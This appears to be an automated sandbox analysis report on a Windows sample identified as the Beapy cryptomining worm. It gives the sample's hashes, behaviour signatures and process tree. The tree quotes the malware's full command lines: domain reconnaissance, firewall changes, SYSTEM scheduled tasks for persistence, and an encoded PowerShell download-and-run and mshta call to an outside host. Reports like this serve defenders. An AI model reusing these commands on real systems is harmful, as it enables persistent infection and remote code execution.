Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    15-05-2021 14:55

General

  • Target

    d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe

  • Size

    6.6MB

  • MD5

    25369980e676f0d0ec7c800e81542eb7

  • SHA1

    d7872bf7ea33888f20d501990b3000745c9201da

  • SHA256

    d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6

  • SHA512

    07ea34b613f61da1868696e3b070825e6176403f5f33b21cc29f37d7fa28e0509c635048cf7c826bc8ee0815f6b22d1a391b664990c40b867813095796b3f06b

Score
10/10

Malware Config

Signatures

  • Beapy

    Beapy is a python worm with crypto mining capabilities.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 20 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 33 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
    "C:\Users\Admin\AppData\Local\Temp\d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Users\Admin\AppData\Local\Temp\d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
      "C:\Users\Admin\AppData\Local\Temp\d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c wmic ntdomain get domainname
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1684
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic ntdomain get domainname
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1156
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c net localgroup administrators
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Windows\SysWOW64\net.exe
          net localgroup administrators
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1780
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup administrators
            5⤵
              PID:1340
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net group "domain admins" /domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2032
          • C:\Windows\SysWOW64\net.exe
            net group "domain admins" /domain
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1796
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 group "domain admins" /domain
              5⤵
                PID:1504
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1984
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ipconfig /all
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1364
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /all
              4⤵
              • Gathers network information
              PID:1064
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:1124
          • C:\Windows\SysWOW64\netstat.exe
            netstat -na
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1884
      • C:\Windows\SqgbroYc.exe
        C:\Windows\SqgbroYc.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1780
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c call "c:\windows\temp\tmp.vbs"
          2⤵
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3068
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
            3⤵
            • Modifies data under HKEY_USERS
            PID:1732
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c echo HDgi >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\jxXp.exe&move /y c:\windows\temp\dig.exe c:\windows\uhuhlE.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn jxXp /tr "C:\Windows\jxXp.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\ThWynjfS" /tr "c:\windows\uhuhlE.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pMRBKYMNO"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\uhuhlE.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\jxXp.exe"&schtasks /run /TN escan)
              4⤵
              • Drops file in Windows directory
              PID:2980
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall add portopening tcp 65533 DNSd
                5⤵
                • Modifies data under HKEY_USERS
                PID:1328
              • C:\Windows\SysWOW64\netsh.exe
                netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
                5⤵
                • Modifies data under HKEY_USERS
                PID:2104
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
                5⤵
                • Creates scheduled task(s)
                PID:2244
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn jxXp /tr "C:\Windows\jxXp.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:1364
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\ThWynjfS" /tr "c:\windows\uhuhlE.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:2116
      • C:\Windows\eGFOxOwp.exe
        C:\Windows\eGFOxOwp.exe
        1⤵
          PID:3028

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/1636-106-0x0000000000360000-0x0000000000375000-memory.dmp

          Filesize

          84KB

        • memory/1636-64-0x0000000076281000-0x0000000076283000-memory.dmp

          Filesize

          8KB

        • memory/1636-77-0x0000000000F70000-0x0000000001025000-memory.dmp

          Filesize

          724KB

        • memory/1636-86-0x0000000000950000-0x00000000009CC000-memory.dmp

          Filesize

          496KB

        • memory/1636-94-0x0000000000290000-0x00000000002A0000-memory.dmp

          Filesize

          64KB

        • memory/1636-103-0x0000000000350000-0x0000000000360000-memory.dmp

          Filesize

          64KB

        • memory/1984-124-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

          Filesize

          4KB

        • memory/1984-121-0x000000001ABF4000-0x000000001ABF6000-memory.dmp

          Filesize

          8KB

        • memory/1984-125-0x000000001ABFA000-0x000000001AC19000-memory.dmp

          Filesize

          124KB

        • memory/1984-126-0x000000001C280000-0x000000001C281000-memory.dmp

          Filesize

          4KB

        • memory/1984-120-0x000000001ABF0000-0x000000001ABF2000-memory.dmp

          Filesize

          8KB

        • memory/1984-119-0x0000000002560000-0x0000000002561000-memory.dmp

          Filesize

          4KB

        • memory/1984-118-0x000000001AC70000-0x000000001AC71000-memory.dmp

          Filesize

          4KB

        • memory/1984-117-0x0000000002520000-0x0000000002521000-memory.dmp

          Filesize

          4KB

        • memory/1984-116-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

          Filesize

          8KB

        • memory/1984-122-0x0000000002590000-0x0000000002591000-memory.dmp

          Filesize

          4KB